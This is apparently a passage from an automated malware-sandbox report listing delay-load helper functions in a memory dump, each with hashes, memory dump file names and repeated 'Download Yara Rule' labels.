Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: be4a71e41de8d44a1a6e080065389b9296dc0c24370d97f953869a3ee2629a86
Instruction ID: 250e0401c88d2655b4069c82b754768464bbd071069cdea0c4c9ab77f4d9af63
Opcode Fuzzy Hash: be4a71e41de8d44a1a6e080065389b9296dc0c24370d97f953869a3ee2629a86
Instruction Fuzzy Hash: 0BB012A63AD7027E3688A1543C17EB702ACC0C1F10730B13FF001F0082D8401CC59071

Function 00E1F378 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b71a13053d355cb611d5dc90a09e72e03e8a881f8025e6df2eb8605e0e5e120
Instruction ID: ec78cf43456d5b5f765ebec76e0e1290fafed6844cbc149c93a0947a56a5a51a
Opcode Fuzzy Hash: 0b71a13053d355cb611d5dc90a09e72e03e8a881f8025e6df2eb8605e0e5e120
Instruction Fuzzy Hash: 03B012A63AD6027D3248A1543C17EB7026CC0C0F10730B03FF001F0082D8401C855171

Function 00E1F346 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ffe139f7edc11c950e9c9cf53c926763a71fb958d2965f72c9bfb0fbf2f4b792
Instruction ID: f1f24137f43288ced342652d4e9dbf7442557884cf09e3aec6250c03df190ccc
Opcode Fuzzy Hash: ffe139f7edc11c950e9c9cf53c926763a71fb958d2965f72c9bfb0fbf2f4b792
Instruction Fuzzy Hash: 58B012A23AD5027D3248A1587D17EB6067CC0C0F10730B23EF001F4081D8801C865071

Function 00E1F350 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c47a215cc2253280e1e3e11772d20714b106bc780339ea076e61f9ef45de788b
Instruction ID: ec2efa1e73c25de3b14f473f96cbf321525a799d50ce9d204c87fe484a90d4dc
Opcode Fuzzy Hash: c47a215cc2253280e1e3e11772d20714b106bc780339ea076e61f9ef45de788b
Instruction Fuzzy Hash: C8B012A23BD6027D3248A1587C17EB6067CC0C0F10730B13FF001F0081D8401C855471

Function 00E1F35A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f3603c1b302f2eebf39035d4c9495b9a1f85b267bcf44a4234d7bfbc9d81ce80
Instruction ID: fb1b41476ff80bae3aa9571c00760b29b9b0c67423d435f6eed857e31c81e097
Opcode Fuzzy Hash: f3603c1b302f2eebf39035d4c9495b9a1f85b267bcf44a4234d7bfbc9d81ce80
Instruction Fuzzy Hash: ECB012A63AD6027D3648A1543C17EBB026CC0C1F10730F03FF401F0082D8401C855071

Function 00E1F32B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F33D

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 823cde249ee36223faa6cb89a113ce795f145929c6fb3a1b24489a3259fc90e5
Instruction ID: 60d36372796dd3ab601c3437b40486cb643bb07c780f6d67a30933afb6d22762
Opcode Fuzzy Hash: 823cde249ee36223faa6cb89a113ce795f145929c6fb3a1b24489a3259fc90e5
Instruction Fuzzy Hash: C4B012A23AE5037E320862503C1BDF6022CC0C0F20730B03EF001F0081E8401C855071

Function 00E1F5A5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cd36502ac55bafe3cb68f268a97b783a9d8b3ff9b50164a6093e6156a4814344
Instruction ID: 8204ddfa17a87e0fe2c474a5ddf8f1fb0cd1ce7f13168f836b73bf066662c0b4
Opcode Fuzzy Hash: cd36502ac55bafe3cb68f268a97b783a9d8b3ff9b50164a6093e6156a4814344
Instruction Fuzzy Hash: 88B012E23FC1007F324862547C27EB6054CC0C4B60730B23FF001F1041E4419C8010B1

Function 00E1F573 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 146a4f5137b2f97e298f1b574ad51708131eb058f409a5406c7181577008baa3
Instruction ID: b15fd77755e39ebba71ecf9b98e7c07d1847c38dc31a439d3f4e456c9ef6cc56
Opcode Fuzzy Hash: 146a4f5137b2f97e298f1b574ad51708131eb058f409a5406c7181577008baa3
Instruction Fuzzy Hash: 25B012E23EC3007F374862543C17DB6018CC4C4B60730B13BF001F1041E4409CC460B1

Function 00E1F57D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F556

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f24c030016a7e07f8a509658f4a2cfec67e7e10e1af17e9a4e4a9c92b5eab5f3
Instruction ID: a2e655ac4ec125c0fdcfca73f083988ea61d5706e55a99248d6b28c1a43e83bb
Opcode Fuzzy Hash: f24c030016a7e07f8a509658f4a2cfec67e7e10e1af17e9a4e4a9c92b5eab5f3
Instruction Fuzzy Hash: 02B012E23EC2007F324862543C27EB6014CC0C4B60730B03BF001F1041E4409C8021B1

Function 00E1F6B4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa8fec909d814a83c088c2ec2340cb35a05efa4918e66d7041391a0913d5b43c
Instruction ID: ff6aa7364309a29ae6e5c15b0f7c0014a568e83112bb7f30a58fe1f013afc662
Opcode Fuzzy Hash: fa8fec909d814a83c088c2ec2340cb35a05efa4918e66d7041391a0913d5b43c
Instruction Fuzzy Hash: D4B012A23BC300BD334861643C17EB6058CC8C4B10730B13AF001F0181D4815CC801F1

Function 00E1F6BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3f10cb1c31c149e538e11fd9db40abccec12524ed71a142fbdf1d9bb1bde45ba
Instruction ID: 37b93d7cfd0e3d5523147b84f423389ad9079e82138b06c874465b340493e6d1
Opcode Fuzzy Hash: 3f10cb1c31c149e538e11fd9db40abccec12524ed71a142fbdf1d9bb1bde45ba
Instruction Fuzzy Hash: B6B012A23BC200BD324861643D17EB6018CC4C4B10730F03AF001F4081D4815C8501F1

Function 00E1F699 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F6AB

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 87294c981c8fec20402f8fd89a49c785ceee2e374475b6d3741e6d8659abb056
Instruction ID: 3dc050b86ca729673680675b6cea5007c6599a096c3dacbad9974ed5e2ec617f
Opcode Fuzzy Hash: 87294c981c8fec20402f8fd89a49c785ceee2e374475b6d3741e6d8659abb056
Instruction Fuzzy Hash: 76B012B63BD2007D32082150BD17DB6014CCCC0B10730F03AF001F40C3D8815C8100F1

Function 00E1F733 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F70C

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 11f79c82794f6f2c4dac33776c5a92d6d8adb640b619dfafa6890a754610433f
Instruction ID: 096b2921941f866feefcaed97807f59f63d98ff342dcf13ceaec48f480e8000e
Opcode Fuzzy Hash: 11f79c82794f6f2c4dac33776c5a92d6d8adb640b619dfafa6890a754610433f
Instruction Fuzzy Hash: 8DB012A23BD7007E324862547C17EBA014CC8C1B20730B93BF001F0081D4401CC00071

Function 00E1F73D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F70C

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 76ee7071bf4e81fd887359cbc78a775817a0f68f408d49d513b31206df180ecc
Instruction ID: f74236854c396cd56c49f7004303e7854765affffb20c3e40d53b956883e0a53
Opcode Fuzzy Hash: 76ee7071bf4e81fd887359cbc78a775817a0f68f408d49d513b31206df180ecc
Instruction Fuzzy Hash: 12B012A23BD6007D320862547C17EBE014CC8C2B20730F53BF401F5081D4401CC40071

Function 00E1F71F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1F70C

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7a9bfdff336903c0dadf958d15d03f1f7753e4688875803b3f7db14f1f1b6a22
Instruction ID: 2cb83cfacd243d5c685f7c5199449fd1ea68b17a6077e4f3c0b3aa5862d13d57
Opcode Fuzzy Hash: 7a9bfdff336903c0dadf958d15d03f1f7753e4688875803b3f7db14f1f1b6a22
Instruction Fuzzy Hash: 75B012A23BD600BD320861547D17EBA014CC8C1B10730B43BF001F4081D4801DC10071

Function 00E1FD58 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E1FD6A

Part of subcall function 00E1F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E1FA5C
Part of subcall function 00E1F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E1FA6D

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

